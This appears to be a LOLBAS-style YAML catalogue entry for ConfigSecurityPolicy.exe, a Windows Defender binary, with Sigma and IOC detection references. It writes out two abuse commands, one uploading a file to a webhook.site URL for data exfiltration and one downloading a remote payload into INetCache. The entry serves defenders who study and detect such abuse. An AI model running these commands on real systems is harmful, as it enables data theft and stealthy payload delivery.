--- Name: ConfigSecurityPolicy.exe Description: Binary part of Windows Defender. Used to manage settings in Windows Defender. you can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads. Author: Ialle Teixeira Created: 2020-09-04 Commands: - Command: ConfigSecurityPolicy.exe C:\Windows\System32\calc.exe https://webhook.site/xxxxxxxxx?encodedfile Description: Upload file, credentials or data exfiltration in general Usecase: Upload file Category: Upload Privileges: User MitreID: T1567 OperatingSystem: Windows 10 - Command: ConfigSecurityPolicy.exe https://example.com/payload Description: It will download a remote payload and place it in INetCache. Usecase: Downloads payload from remote server Category: Download Privileges: User MitreID: T1105 OperatingSystem: Windows 10, Windows 11 Tags: - Download: INetCache Full_Path: - Path: C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe - Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe Code_Sample: - Code: Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml - IOC: ConfigSecurityPolicy storing data into alternate data streams. - IOC: Preventing/Detecting ConfigSecurityPolicy with non-RFC1918 addresses by Network IPS/IDS. - IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching ConfigSecurityPolicy.exe. - IOC: User Agent is "MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)" Resources: - Link: https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-switch-workloads - Link: https://docs.microsoft.com/en-US/mem/configmgr/comanage/workloads - Link: https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-monitor - Link: https://twitter.com/NtSetDefault/status/1302589153570365440?s=20 Acknowledgement: - Person: Ialle Teixeira Handle: '@NtSetDefault' - Person: Nir Chako (Pentera) Handle: '@C_h4ck_0'